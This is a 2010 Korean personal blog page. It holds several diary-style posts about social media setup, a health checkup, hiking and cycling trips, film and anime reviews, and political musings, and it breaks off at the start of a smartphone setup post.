'잡기'에 해당되는 글 569건

  1. 2010.10.15 짹짹 2
  2. 2010.10.06 화로 속의 밤 줍기 1
  3. 2010.09.21 옵티머스Q 셋업 13
  4. 2010.09.17 회색 고양이들의 시간
  5. 2010.09.03 R136a1 1
  6. 2010.08.12 phenomenology
  7. 2010.08.03 5800 펌웨어 업그레이드
  8. 2010.08.02 대수학자
  9. 2010.07.17 월드컵
  10. 2010.06.23 나로호 발사 실패
  11. 2010.06.11 미에 모욕당하며...
  12. 2010.05.29 지방선거
  13. 2010.05.24 FreeNAS RAID, Unison setup
  14. 2010.05.23 no vote, no kiss
  15. 2010.05.10 간빙기
  16. 2010.04.11 그대들도 죽는다 2
  17. 2010.04.02 해킹 1
  18. 2010.03.23 N5800 에너지 프로파일 1
  19. 2010.03.19 Nokia ExpressMusic N5800 1
  20. 2010.03.17 안양예술공원
  21. 2010.02.22 GLXP 3
  22. 2010.01.11 2010
  23. 2009.12.23 아이폰 1
  24. 2009.12.08 Nfy 1
  25. 2009.11.17 레비 스트로스 타계 4
  26. 2009.10.26 돈 안되는 일
  27. 2009.10.15 화성문화제
  28. 2009.10.05 detour 1
  29. 2009.09.26 수원 화성 관광 1
  30. 2009.09.09 데 포르마

짹짹

잡기 2010. 10. 15. 23:36
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출근. 집 앞 버스 정류장에서 휴대폰을 꺼냈다. 트윗덱과 구글 리더, 북마크 중 뉴스 클립 사이트를 띄워 3G로 기사를 업데이트하고  그걸 읽으며 버스 오기를 기다렸다. 회사에 도착할 때까지 4~5개 신문의 기사를 훌터보고 120개 가량의 RSS를 모니터링하고 트위터와 페이스북의 짧은 글들을 스크롤했다.

휴대폰을 새로 구입하고 1GB라는 부담없는 패킷 사용량 때문에 전에는 하지 않던 잉여질을 했다 -- 팔자에 없는 SNS질에, 지저귀기(twit) 시작했다, 열댓명의 시간선을 따라갔다(following). 아직까지는 꽤 재미가 없다. 타임라인에 스쳐 지나가는 남들의 일상, 또는 인생일 뿐이다. 굴에 틀어박혀 그림자 놀이나 하며 산 지 꽤 오래된 탓인지 손가락 사이로 빠져나가는 모래처럼 덧없다. 나하고 관계없어 보였다. 나하고 관계없어 보인다라?

페이스북을 잠시 사용해 보고, 사람들이 이렇게 관계를 좋아하는구나, 라고 새삼스레 감탄했다.  정상적인 사회생활을 안 해 본지 꽤 오래지만 뉴스와 온라인을 잘 챙겨보고 있어 별로 거리감을 느끼지 못했다.  새삼스레 되뇌이자면... 최근 십여 년 동안 사람들이 기를 쓰고 온라인에 붙어 있으려고 하는 동안 나는 반대로 갔다 -- 모로 가도 후회할 인생이다.

아무래도 사람들고 함께 짹, 짹, 지저귀는 것보다는 블로그 엔트리에 하세월 심심한 모놀로그를 올리는게 취향에 맞는 듯 하다.

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퇴근. 스마트폰으로 이것저것 하다보니 거의 한 달 동안 책을 안 읽었다. 약 한  시간 반 동안 주어진 출퇴근 시간이 유일하게 책을 읽을 수 있는 시간이었다.  별달리 선택의 여지가 없다. 스마트폰에 코를 박고 시간을 보내던가, 그 시간에 책을 읽던가.

SNS 셋업
  • 페이스 북 -- 트위터에 내가 쓴 글을 페이스북에 자동으로 등록하도록 셋업. 페이스북의 검색창에서 twitter 치고 나머지는 시키는대로 했다.
  • http://www.endomondo.com -- 휴대폰에서 endomondo를 실행하면 트랙로그가 이 사이트에 자동으로 기록된다. 트위터 또는 페이스북과 연동할 수 있다. 트위터가 페이스북과 이미 연동되어 있다면 트위터 계정만 연동하면 페이스북에도 같이 기록된다.
  • http://twitterfeed.com/ -- 블로그와 연동하기. 엔도몬도와 마찬가지로 트위터 계정만 연동하면 페이스북에도 같이 기록된다.
건강검진 결과: 신장: 175.7cm, 체중: 70.6kg, 허리둘레: 86cm, 체질량지수: 22.8 kg/m^2 (18~24.9), 혈압 116 / 81 mmHg (120/80 미만), 요단백: 음성, 혈색소: 15.5 g/dL (13~16.5), 공복혈당 97 mg/dL (100미만), 총 콜레스테롤: 232 mg/dL (200 미만), HDL 콜레스테롤 55 mg/dL (60미만), 트리글리세라이드 183 mg/DL (100-150미만), LDL 콜레스테롤 140 mg/dL (130미만), 혈청크레아티니 1.0 mg/dL (1.5 이하), AST (SGOT) 18 U/L (40 이하), ALT (SGPT) 21 U/L (35 이하), r-GTP 16 U/L (11~63), B형 간염: 음성, 대장 내시경: 미란성 위염. 평가: 약간 높은 콜레스테롤 수치.

칠보산
칠보산. 여덟가지 보물이 있었지만 그 중 하나를 잃어버린 산.  남북으로 약 7km 길이의 등산로(산책로)가 있다. 점심을 싸들고 아이와 산책하러 갔다.  아이는 5.5km를 걸었다. 목마를 태워 1km 쯤 오르막을 땀 흘리며 올랐다. 그리고 공동묘지를 거쳐 버스 타는 곳까지 걸었다. 읍내에서 교회 사람들이 공짜 팝콘을 나눠줬다. 곰곰히 생각해보면, 설령 무슬림 형제들에게 바보같은 설교를 하러 다녀도 교회를 진심으로 싫어한 적은 없었다.

그리고는 잠발라야 치킨과 드라이 피니쉬를 사 들고 집으로 돌아와 아이와 먹었다. 오늘 피크닉의 하이라이트는 치킨과 맥주였다.

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겨울에 등산할 때나 자출할 때 입을 값싼 언더레이어 상하의를 구입했다. 몸에 꼭 맞는 쫄바지와 쫄티인데 입은 줄 모르겠다.

구글 `스마트폰에 말하면 한글이 써진다` -- 구글에서 얼마 전에 argumented humanity에 관해 언급한 적이 있다. universal translator를 만든다던데, 갑자기 구글이 좋아졌다.

동쪽의 에덴
동쪽의 에덴 극장판. 잉여들을 위한 로맨티즘이라 보기도 뭣하고... 대체 이게 뭐야? 그냥 잉여?

Machete
마체떼(Machete) 로드리게스의 또다른 끝내주는 영화.

Machete
Machete. B급 영화라고 하는데, 출연진이 눈부셨다. 이름이 익은 셀러브리티들이 벗고 돌아다니고 심지어 시걸 형님도 모처럼 나와 주셨다. 악당으로 살다 가시는 길 마지막은 정말 큰 웃음과 감동과 즐거움을 주셨다. 최근 본 영화중 가장 영화같은 영화였다. 로드리게스는 제대로 영화를 만드는 작자다!

Big Bang Theory
Big Bang Theory S04E02. 흥미진진한 칠판. 인류가 싱귤라리티에 도달하는 시기를 2050년 이전으로 잡았다. 대통일 이론도 2100년 전, 싱귤러리티 때 기계몸으로 교체해 두고 한 50년만 한가하게 우주 관광하다 보면 살아 생전에 만물의 이론을 두 눈 뜨고 볼 수 있게 된다! 생각만 해도 가슴이 벅차 오르는걸? 장수하자.

팬티 & 스타킹 with 가터벨트
팬티 & 스타킹 with 가터벨트 1화. 가이낙스의 불완전 19금 애니. 비주얼이 오마주 짝퉁 같아서 많이 안쓰럽다. 내용은 물론 없고 음악, 연출 뭐 하나 잘된 구석이 없이 '토탈리 글러 먹었음'으로 보이는데... 최근 십여년간의 오덕 트랜드가 미소녀 옷 벗기기 란 점에서 과거의 회사 전통과 현재의 트랜드를 잘 융합한 병신같은 오타쿠 애니라고 보면 될 것 같다. 작화야 뭐, 좋지.

플랜 제트
플랜 제트. 올 3D 애니. 정말 사소한 것에 집착하는 영화. 또는 실험용 샘플인가? 일본의 3d 애니 기술이 아직 실사를 쫓아가기엔 부족해 보인다는 것만 느꼈다. 이런 건 왜 만들었을까?

이브의 시간
이브의 시간 극장판. 주인님을 기다리는 노예 로봇들. 이브의 시간 TV 시리즈 1화를 보고 재밌을 것 같아 기다렸지만 끝끝내 TV판 1화 이후는 보지 못하고  지금에서야 극장판만 따로 보았다. 로봇과 인간이 공존하는 세계를 감상적으로 그린 애니. 서사 쪽은 밑도 끝도 없지만(as life goes on), 인간의 공적이랍시고 사랑스런 로봇을 때려 부수는 영화류는 사실 이것보다 품위가 많이 떨어졌다.

이브의 시간
이브의 시간. 밑그림은 괜찮은데 채색과 CG가 어쩐지 요즘 일본 애니 답지 않아 영 마음에 안 든다. '로봇 3원칙에는 로봇더러 거짓말 하지 말라는 것은 없다' 라고 말했다. 뭐 그렇게 당연한 말씀을...

이브의 시간
이브의 시간. 지금은 애들이 하나씩 갖고 놀 로봇 조차 변변히 안 갖춰진 저질 21세기다. 21.5세기가 되기 전까지 인류가 싱귤라리티에 도달하지 못하고, 딸아이와 대화가 통하는 로봇 하나 만들어 내지 못하면서 가짜 기획서로 국책 연구비나 타먹고 성과라곤 쥐꼬리 만큼도 없는 이학 교수들을 사형에 처하자. 가까운 본보기로 과학자, 기술자들이 대통령 명을 받들어 대통령 임기 중에 4대강의 수호천사가 될 로봇 물고기 개발에 실패하면 낙동강 줄기에 익사체로 둥둥 떠내려가게 하던가.

 
Monsters
Monsters. SF 로드무비. 멕시코에 떨어진 외계 생물이 무럭무럭 자라 대지를 걷는 거대 오징어가 되었고( 트리피드를 벤치마크했나?), 인간과 오징어 외계인이 만들어 놓은 쑥대밭 사이를 지나치며 멍하니 미국으로 돌아가는 두 그링고의 여정을 담고 있다. 각본이고 뭐고 설정 A만 있는 영화다. 미술은 똥, 편집은 가난하게 찍은 필름으로 대충 한 것 같고(이거 돈 안 든 영화같은데?), 뭣보다 카메라 굴리는 꼴이 영 거지 같았지만 그래도 쿨하고 재미있어서 FF 거의 안 하고 봤다. 마치 중앙 아메리카의 어떤 시골에서 함께 히치하이킹하게 된 여행자를 만난 것처럼 캐릭터가 싱싱해서 좋았다. 다 보고 나서 '뭐야 이거? 내가 또 속은 거야?' 라고 말할 사람들이 시중에 많을 것 같지만, 그래도 마음에 든다.

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화로 속의 밤 줍기

잡기 2010. 10. 6. 02:09
옛날 옛적에 무슨 무슨 과정을 어찌어찌 거치다보니까 한국이 먹고 살 길은 국제 사회에서 외교 역량을 강화하는 길 밖에 없다는 몹시 지당한 결론에 이르렀다. 아마도 그 무렵 외교관 자제가 다시 외교관이 되는 세습에 관한 얘기도 들었던 것 같다. 전근대적인 음서제로 보이는 이런 전횡은 여러 국가에서 보편적이란다. 자주 나라를 옮기는 외교관들은 공식적인 자리 뿐만 아니라 사적인 파티같은 비공식적인 자리에서도 광범위한 사람들과 다양한 외교활동을 하는데, 외교관들의 아들딸들이 친분을 쌓아 후사를 도모할 클루가 생긴단다. 자국의 이익을 최대한 지키면서 각국의 이해관계를 매끄럽게 조율하는게 외교의 의미이자 목적이라면 이렇게 서로 친분을 쌓은 자제들이 아는 처지에 서로 뒤를 봐주는 것이 외시 붙어서 깐깐하게 구는 앨리트 보다 낫지 않겠느냐는, 외교 분야에서 만큼은 어쩔 수 없이 음서제를 용인할 수 밖에 없는 사정을 설명하는 이야기였다.

그때는 별 의문을 품지 않았지만(자명한 결론 탓에 국제 사회에서 외교 역량 강화를 위해 별별 짓이라도 다 해야 한다고 생각했으므로) 지금은 이런 의문이 들었다; 매우 실용적인 입장에서 우리나라 외교관 자제들이 여러 나라의 자제들과 친분을 쌓으며 성장해 부모의 후광으로 외교관이 되어 국제외교에서 눈에 보이진 않지만 실질적인 영향력을 행사하고 여러 외교 현안에 관해 겉으로 드러내지는 못할 지언정 나름의 성과를 거두었는가? 이를테면 신문에 아주 가끔 기사로 실리는 국제적 병신짓이나  현지어는 영어 빼고 한 마디도 못하는 한심한 외교부의 대사관 직원 선발이나, 외국에 여행/거류 중인 자국민 만큼은 거들떠보지도 않고 굳게 문을 닫고 귀를 막고 있는 대사관 말고, 공식화할 수 없는 알려지지 않은 007 작전 같은 사정들이 훨씬 많을까?

이번 추석에는 송편이 없었고 술은 안 마셨고 담배는 7일 동안 다섯 가치 피웠다. KTX 타고 가는 길에 무선랜을 검색하니 GMarket 아이디로 KTX 차량 무선랜을 무료로 사용 가능했다. 역마다 KT 무선랜이 검색되기도 했다. 공짜 와이파이 같은 거 안 기쁘다. 별로 성능이 좋지도 않은데, 온 사방에 와이파이 깔아서 충돌 회피 메카니즘 때문에 망을 오염시키는 짓 좀 하지 말고 Wibro든 LTE든  그런 거나 좀 싸게 공급할 생각을 하던가, 하려면 super wifi를 설치하시던가... 국가 기간망과 사업자 망을 중복투자없이 효과적으로 관리하기 위한 반강제적인 국가 정책을 수립하시던가. 아참 정통부를 없애버리고 이상한 걸 만들어 놨지.

차세대 스마트폰 씨버드 --  3차원 마우스로 사용하는 블투/ir 동글은 손가락에 끼는 반지처럼 만드는게 좋을 것 같다. 아예 반지로 만드는게 낫겠다. 프로젝션 키보드가 그렇게 좋은 것 같진 않다. 무선 충전은 곧 도입될 것이다 -- 시제품 단계가 지났다.

10인치 아이패드에는 관심 없었는데, 주머니에 들어간다고 우기는 7인치 타블렛에는 관심이 동했다. 아이패드가 10인치 디스플레이에 무게가 300g 정도였다면 아예 무관심하진 않았을 것 같다. 그럼에도 아이패드가 꽤 많이 팔린 것 같아 의아했다 -- 아이패드 산다고 인간의 격이 올라가거나, 레어해지거나, 패셔너블 해지거나, 리딩엣지를 경험하는 얼리어댑터가 된다거나, 기타등등(생활 편리?)과는 거리가 영 멀어 보이는  좀 바보같은 기계로 취급하는 편이다. 그래서 아이패드 보고 호들갑 떠는게 영 이해가 안 갔다. 애플TV가 나올 꺼라 다들 예상했다. 한국에서 IPTV로 VOD 감상하는 것 빼고 스트리밍 서비스가 월 5~8달러 수준이다.  그러니 애당초 애플 TV는 미국에서는 생태계 재편성이라고 지껄일 수 있을지 몰라도 한국 사정과는 꽤 달라 보인다.

http://www.youtube.com/watch?v=IndLsjrb1X0 -- 우크라이나 뉴웨이브 여성 그룹, '노래하는 팬티'.  곡이 좋은데?

http://skyhookwireless.com/ -- 굳이 등록할 것도 없겠지만 그래도 등록했다. 안드로이드나 iOS에 WPS가 이미 설치되어 있는 것 같지만 실제 작동하는 모습을 본 적이 없다.

핫요가: 요가의 탄생지인 인도처럼 온도를 38도로 올려 요가 하면서 살을 쫙 뺀단다. 인도가 그랬나? 라자스탄 쪽이 한낮에 40도까지 올라가긴 한다. 사막이니까. 날씨에 따라 요기들이 중부 바라나시와 북부 리쉬케쉬를 오락가락 하는데(더워서), 정상인은 밤낮으로 실내 기온이 늘 38도 정도 되는 곳에선 목숨을 부지하기 어려을 것이다.

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인도 생각난 김에 본 3 Idiots. 재밌다. 식민지 시절부터 유명한 관광지, 심라(Simla) "그 날, 난 깨달았어. 이 마음은 쉽게 겁을 먹는다는 것을. 그래서 속여줄 필요가 있지. 큰 문제가 생기면 가슴에 대고 얘기하는 거야. '알 이즈 웰'" "그래서 그게 문제를 해결해줬어?" "아니. 근데 문제를 해결해나갈 용기를 얻었지."

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심라에서 Manali로 가는 길.

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마날리에서 Ladakh으로 가는 길. 공교롭게도 이 영화에 나오는 세 곳은 인도 여행 중 가보지 못한 곳들이다. 젠장 유명한 곳은 못가보고 어디 시골깡촌같은 곳만 돌아다녀서 인도 여행자들하고 대화가 통해야 말이지. 조드푸르 등 라자스탄은 아예 근처에도 못 가봤잖아?

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검색해 보니 '세 멍청이'가 인도에서 대단한 인기를 끌었던 모양. 영화가 얼마나 재미있었던지 심지어 꿈도 꾸었다.

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EBS 세계테마기행. 2010-09-24 소우주 인도기행. 저잣거리. 최근 상황을 알고 싶어 무작정 찾은 다큐멘터리. 그런데 인도가 아직도 이 모양이란 말인가? 젠장 또 가고 싶어지잖아!

드라이피니시를 마셔보고 싶은데 동네 근처에선 팔지 않았다. 맥스의 뒷맛이 전보다 쓰디쓰게 느껴져 첫 몇 잔은 먹을만 하지만 그 후로는 입맛에 안 맞았다. 동네 수퍼에서 우연히 발견한 max special hop 2010 식스팩을 사고 640ml짜리 맥스 병을 잡았다. 640ml를 먼저 마시고 스페셜 홉을 마시니까 뒷끝이 깔끔하다. 올해 스페셜 홉은 싱하나 하이네켄보다 약간 더 무겁고 향미가 좋았다.  테카테하고 비슷해서 얼음 띄워 한여름에 먹기 좋았다.

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스마트폰이 바뀐 다음 비망록처럼 사용하는 일정을 뒤적여 광형을 대체 몇 번이나 만났나 살피다가  지금과는 내가 완전히 다른 사람이었구나 하고 느꼈다. 연초에도 십여년짜리 일정 중 특정 부분을 보고 비슷한 기분을 느낀 기억이 난다. 변하지 않은 것은 내 골방의 미니멀리즘 뿐.

골방과 사무실 사이를 오락가락하다보면 기분이 어느새 연쇄살인마 같아지곤 해서 주말이면 뭐라도 핑계거리를 만들어 바깥으로 나갔다.

관모봉, 태을봉
수암봉에서 찍은 사진. 능선 왼쪽이 관모봉, 가장 높은 봉우리가 태을봉. 태을봉 아래 도로는 서울외곽순환 고속도로. 작은 사진으로 보면 상이 많이 왜곡되는 것 같아 그런 사진은 큰 사진으로 올리기로 했다(클릭하면 확대). 옵티머스Q의 카메라 화질이 그럭저럭 괜찮아서 만족한다.

수리산 슬기봉
칼바위 능선을 거쳐 슬기봉에 오르고 레이다 기지를 우회하는 도로로 내려오다가 수암봉을 탔다.

슬기봉
슬기봉 구름다리. 초가을이다. 더위가 한풀 꺾여 정말 움직이기 좋다.

매번 수리산을 탈 때마다 같은 지점에서 헤멨다. 안양에서 올라 안산으로 내려오는 길의 중간 쯤, 슬기봉과 레이다 기지 사이 등산로는 군부대로 막혀 있다. 우회로를 타고 수암봉에 올랐다가 왼쪽으로 틀어 안산으로 내려가야 하는데 거꾸러 오른쪽으로 내려가 안양으로 떨어졌다. 수리산을 여러 번 올랐지만 이번에도 안산에는 가지 못했다. 길을 잃고 헤메서 기분 나쁘거나 자책하지 않았다. 오랫만에 이 말을 해 보는군:Errare est humanum. 인간 노릇은 오래 해먹어 봐서 재미가 없으니  그보다 다음에는 꼭 안산에 가자.

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관악산과 수리산 산행 중 찍은 동영상. 유튜브 동영상을 올리는 색다른 방법: QRCode로 url을 인코딩해 두면 그걸 읽을 수 있는 스마트폰의 바코드 리더로 긁어 유튜브에 바로 접속해 동영상을 볼 수 있다. Quick Response Code는 특허권자가 권리를 포기해 누구나 무료로 사용할 수 있다. 간단하면서도 정보 밀도가 적당한 효과적인 코딩 방식인데  에러 교정은 RS 체크섬을 사용하는 것 같다.

그건 그렇고 wired의 편집장이 전 세계 웹 트래픽의 지속적인 감소를 그래프로 보여주며 '웹은 죽었다'고 선언했다. 죽은 웹 때문에 슬퍼할 사람은 없을 것 같다. 일부 공공정보(이미 서비스로 전환)와 사적 정보(사적 신용이 무엇보다 중요해진 SNS 역시 서비스)를 제외한 대부분의 정보가 상업적 서비스가 된 것이 어제 갑자기 일어난 일이 아니고 인터넷의 상업적 가능성은 애저녁에 포르노그래피가 이미 모범(?)을 보였다.

아무튼, 그와 관련해, 컨셉이 후져서 ebook류나, 10인치 애플 아이패드에는 별 관심이 안 생겼는데 7인치 패드가 나온다니 관심이 생겼다. 컨텐츠는 예나 지금이나 추적이 안되는 '무료'만 사용할 것이다. 아이덴티티가 정보가 되는(돈이 되는) 사회다. 사람들의 웰빙 실존을 감사해하는 회사들이 많이 생겼다. 소셜웹이란 건 애당초 없다. 뉴럴 네트웍 닮은 네트웍을 만들어 평소처럼 하는 '비즈니스'다. 그런 비즈니스가 증오스러우면 이 시대에서는 존재하길 멈추는게 바람직했다. 웹에서나 SNS에서 사라지긴 상대적으로 쉬운 편이다. 그보다 어려운 것은 사람들 사이에서 사라지는 것이다. 뿅~ 하고.

무수한 종류의 아이디어가 담긴 저작들을 통해 저장된 인간성의 재현이나 대리된 인간성(성격과 감수성과 감성과 분리되지 않을 것으로 짐작되는 생존기술로써의 지성을 포괄하여) 따위를 기술의 발달과 상관없이 시뮬레이팅 하고 숙고하는 기회를 가져봤지만...

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처가에 갔다가 오는 길에 수원역에서 본 퍼포먼스. 마리아치라기 보단 그냥 밴드잖아? 내가 메히꼬에서 본 마리아치는 기타 하나 매고 여기저기 떠돌아다니며 음악으로 구걸했다. 물론 카페나 바를 전전하며 남녀가 앉아있는 테이블에서 꽤 괜찮은 벌이를 하는 '밴드'가 꽤 많지만 출발 까지 시간이 있는 버스에 무작정 오르거나 골목 어귀에 우두커니 서서 넉살좋게 노래 한 곡 뽑고 몇 뻬소 되지 않는 돈을 모아 여기저기 돌아다니던 마리아치를 잊을 수가 없었다. 인도에서 본 자이나교도나... 수행자/사두 같았달까.

블로그에 email을 적어놓을 수 없었는데 QRCode가 좋은 대안이 될 것 같다. 공개하면 스팸이 날아오고 안 하자니 글 쓰고 나서는 거의 돌아보지 않는 이 블로그에 댓글이 달리고...


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아이가 안바 아나바 아라베스크 따위 동작을 난생 처음 배우러 간 동안 나는 일과 세상에 찌들어 몸에 누적된 독소 수준을 낮추기 위해 나돌아다녔다.  

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9/18 십이지장 입구에 난 염증으로 약을 받아 먹으며, 평소처럼 산에 가서 헤멨다. 9/28은 자전거를 타고 집에 돌아왔다. 거울을 잘 안 보게되니 일 년에 한두 번은 셀카 찍어놓고 일부러라도 얼굴을 살폈다. 모든 인간은 16세 이후에는 늙기 시작한다, 늦던 빠르던 늙고 보잘것 없어진다. 내 외모에 특별한 감흥은 없지만... 못 생겼다. 머리를 중처럼 밀어버릴까?

바람이 선선해서 산에 다닐만 했다. 아침으로 김치찌게를 끓여 먹고 주먹밥을 점심으로 싸가고 집에 돌아와서 치맥을 먹었다. 아내 친구가 남편과 자식을 놔두고 KOICA 봉사활동을 간다는 얘길 들었다. 아이가 다 자랄 때까지 14년 남았다. 아내는 언젠가 날더러 당신은 어떤 여자에게나 썩 괜찮은 남편일꺼라고 말했다. 수긍이 간다. 좋은 남편은 많이 식상해서, 좋은 아빠가 되고 싶다. 아이 낳아 잘 키우고 행복하게 살다가 저 세상에 가는 것이 세속의 인간이 누릴 수 있는 가장 큰 영화다.

애가 좀 더 자라면 애를 데리고 안나푸르나 트래킹을 하고 보르네오 섬을 돌아다니고 오스트레일리아 아웃백에서 별 구경을 하고 눈 내리는 블라디보스톡에서 대륙횡단 기차를 타고 싶다. 아내는 제주도에서 고사리를 캐거나 정선 인근 산골에서 장뇌삼을 채취하며 경비를 보태는 등 남편과 아이를 경제적으로 보필하는 것이 바람직해 보인다.

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9/19 일왕저수지 또는 만석거. 비가 와도 아이를 데리고 만석거를 빙글빙글 돌며 자전거 타는 연습을 시켰다. 때문에 비가 오든 눈이 오든 적절한 복장을 갖추면 언제라도 아빠와 밖에 나가 놀 수 있다고 아이가 생각하게 되었다. 나야 뭐 애가 집에 틀어박혀 있는 것을 별로 달갑게 여기지 않았다.

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처가집 옥상에서 찍은 석양.  
추석 연휴에 거의 술을 마시지 않았다. 5일 동안 담배는 다섯 가치만 피웠다. 그런다고 젊은 시절의 예민했던 감각이 되돌아오진 않았다.

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9/25 아내와 딸이 처가에 남아 혼자 있으니 밥해 먹기도 귀찮고 웹을 하릴없이 뒤지다가 미사리의 국수집을 발견했다. 안양까지 자전거를 지하철에 실어 이동하고 안양천 자전거도로를 거쳐 과천을 지나 양재천에 이르렀다.

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미사대교 부근.
다음 지도 앱은 현재 위치를 두번 클릭하면 나침반의 자북에 따라 지도를 회전한다. GPSr 지도가 날로 좋아지면서 복잡하고 정신사나운 화면을 보여주기 때문에 차라리 휴대폰을 꺼내 다음 지도를 보는 편이 훨씬 보기가 좋았다.  날씨가 무척 좋아 그림같은 사진이 나왔다(클릭으로 확대).

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미사리에서 아점으로 먹은 5천원짜리 초계국수. 닭육수에(사과, 배, 배추를 넣은 물김치 국물을 섞은 듯) 면을 말고 뻑뻑한 가슴살을 올렸다. 뻑뻑한 가슴살? 초계면 야들야들 해야지! 국물은 시원하지만 고기맛이 시원찮아 왕복 100km를 달려서 부러 먹을만한 품질은 아닌 것 같다. 차라리 밀면을 싸게 팔면 장사가 될텐데... 그러고보니 밀면 가게가 참 드문 것 같다.

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탄천 자전거 도로. 흡사 초신성이 폭발한 듯한 사진. 하남, 탄천 자전거 도로, 수지를 거쳐갔다.

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집으로 돌아오는 길에 화홍문에 들렀다. 가을에 보니 무척 운치있다(클릭하면 확대).

98km 주행에 평속은 20.2km 나왔다.
피곤하지 않았다.
시원찮은 초계국수를 먹으러
100km 안팎 주행하면서 적어도 6개 도시를 지나갔다.
문득 '일망타진'이란 사자성어가 떠올라 흐뭇했다.

돌아오면서 집 인근에 새로 생긴 통닭집에서 프라이드 치킨을 샀다. 주문에서 포장까지 제과정을 지켜보면서 어쩐지 이 가게 망할 것 같다고 생각했다. 샤워하고 시원한 맥주 한 잔 들이킨 후 맛 본 치킨이 역시나 별로였다. 이것으로 당분간 동네에서 프라이드 치킨은 맛데이에서만 시켜먹을 것이다.

파닭은 가끔 먹는 정도로 만족해야겠다. 파가 치킨의 적당한 기름기를 중화시키는데다 파향이 강해 맥주맛을 죽인다. 적당히 기름진 프라이드 치킨을 뜯어 먹은 후 목구멍을 청소하는 기분으로 맥주를 들이켜야 개운했다.

팔로우 중인 김규항은 꽤 고리타분한 선생님같았다. 조선일보도 보는데 제 몫 다하고 열심히 살아가는 옛날 좌파 아저씨 글이라고 못 볼 것도 없다.
김규항에 따르면, 나는 늘 이렇게 잘 먹고 잘 살아도 되는가, 미안해 하기 때문에 좌파의 출발선상에 서 있다고 한다. 나는, 아주 나쁜 놈은 아니라서 저울의 균형을 맞추려고 하는데, 지금까지 저울이 유달리 왼쪽으로 기운 적이 없었던 것 같다.


김규항이 진중권에게 시비 건 글들이 있는데, 각 편의 감상 소감은 이랬다:

이상한 나라의 진중권 02 -- 지배적 정체성이 정당의 정체성을 결정한다?

이상한 나라의 진중권 04 -- 예절 교육에...
이상한 나라의 진중권 05 -- 꼰대 고집에...
이상한 나라의 진중권 06 --  인간성 트집에... 할 말 다하신 것 같다.
이상한 나라의 진중권 07 -- 아니, 한 마디 더 남으셨다. 무릅이 저려도 쎈세 말씀, 센스있게 끝까지 들어주자. 이건 신세 한탄...? 하여튼 재수없는 '자유주의자' 진중권에게 할 말 다했다. 살날이 얼마 안 남은 늙다리 꼰대 아저씨 답게 비전도, 미래도, 유머센스도, 영양가도, 책임감도 없는 지나가는 얘기 같다.
반면 쿨한 진중권은 딱히 김규항 쪽을 향한 것 같지는 않지만 평소처럼 날라리 양아스럽게 이렇게 말했다:
1. 당신들이 말하는 사회주의는 무엇인가?
2. 오늘날 대중이 사회주의를 원하는가?
3. 원하지 않는다면 그건 그들이 무지하기 때문인가?
낄낄 웃었다.
사민주의가 유럽에서 성공했다고 한국에서 성공할 것 같지 않았다. 유럽 어느 나라의 잘 돌아간다는 시스템을 부러워 한 적이 없었다. '세상에 공짜 점심은 없다'는, 현재로썬 인류가 밝혀낸 유일무이한 진리인(시공간을 초월하여 어디에나 통용되는 확고한 진실이란 점에서) 에너지 보존 법칙도 있다. 화로 속의 밤을 주우려면 정치세력화에 매진해야 되는건가?
진중권을 팔로윙 하다 보니까 이런 흥미진진한 짹짹임도 눈에 띄었다:

우익엔 도덕깡패, 좌익엔 이념깡패. '진보'니 '좌파'니, 지들 맘대로 규정해놓고, A급이니 B급이니 등급분류해가며 육갑을 떱니다. 내가 무슨 소고긴가요? 대관령 방목 한우 목살 좌파....그 놈의 '진보' 딱지 떼고 나니 해방감에 날아갈 것 같네요.
이해가 간다. 아까 좌파의 출발선 운운하는 김규항처럼 좌파, 진보 같은 개족같은 딱지를 자기들 맘대로 갖다 붙여놓고 하지만 자긴 똘레랑스라고 우기는 노땅 아저씨들과 수구골통하고 별 차이가 없다고 여겼다. 음. 좌측 골통과 우측 골통 정도의 차이는 있을 것 같다.


그래도 김규항을 꺼려하지 않았다.

척 팔라닉, 랜트

에코 로렌스: 이것 좀 들어봐요. 랜트는 정말 로맨티스트였어요. 여자들에게 시들거나 썩어가는 걸 지켜볼 수 있는 장미꽃을 사주는 건 또 다른 얘기죠. 그보다는 여자에게 완전히 파괴할 수 있는, 장차할게 다 장착된 스카이라크 승용차를 사주는 게 훨씬 더 멋진 생각이에요.

그린 테일러 심스의 현장노트에서: 미들턴에서는 잠자는 개들이 항상 길에 대해 우선권을 갖는다... 은유적으로나 실제적으로나.
오랫만에 작품 하나 건졌다. 여태까지 읽었던 척 팔라닉 중 가장 좋았다. 이건 뭐 거진 현대문학선 읽는 기분이랄까, 척 팔라닉의 집대성 판이랄까. 토머스 핀천의 브이가 떠오르기도 했다. 정말 끝내주는 소설이었다.

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Castle.
PsychoTheRapist 라는 말 장난.
 '시장의 지시'라는 무리한 설정으로 현직 베스트셀러 작가가 범죄 현장에서 조언자 역할을 한다.  파이어플라이에서 마초 선장 역을 맡았던 배우가 징그럽고 돈 많은 작가 역을 맡았다. 개똥벌레에서 전쟁에 패한 편에 붙어 전쟁이 끝나 비루먹고 사는 선장 역을 꽤 잘 해 줬는데, 여기서도 딸애와 제 엄마 빼고는 4가지를 배울  구석이 없는 자만에 빠진 재수없는 작가 역을 잘하고 있다(다만 첫 화에서 마음에 들었던 여주인공이 날이 갈수록 예뻐져서 그 여자에게 정이 안 갔다). 그래도 2기까지 볼 정성인 것은 아무래도 주인공 캐릭터 때문.

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하하! 파이어플라이 운운했더니만 2기 6화에서 이런 서비스샷을 넣어줬다. 파이어플라이를 두 번 봤다. 몇 년이 지난 아직까지 그에 필적하는 SF 드라마는 나오지 않았다.

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매우 거지같이 Detroit Metal City 실사판. 안보느니만 못한 불법복제판 같았다. 다만 이 장면만은 좋았다.

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Warehouse 13. 시즌 2.  예쁘다.

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Hurt Locker. 마지막 장면. 이라크에 평화를 정착시키지 못하고 시아파와 수니파 사이의 피비린내 나는 정쟁으로 불안에 떠는 시민을 내팽개친 채 비전투원을 포함한 모든 미군이 내년까지 떠나는 상황을 생각하면 기분이 더럽다.

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옵티머스Q 셋업

잡기 2010. 9. 21. 19:09
이 기사는 내용에 변경이 생길 때마다 업데이트 됨. 마지막 업데이트: 2010/11/09

거개의 안드로이드폰은 커스터마이즈의 자유도가 매우 높고 제대로 사용하려면 WM 휴대폰과 마찬가지로 설정이 번거로워 사람들에게 권해주진 못하겠다. 그냥 아이폰이나 쓰라고 하지. 내가 생각하는 LGE LU2300 옵티머스Q의 장단점:

장점
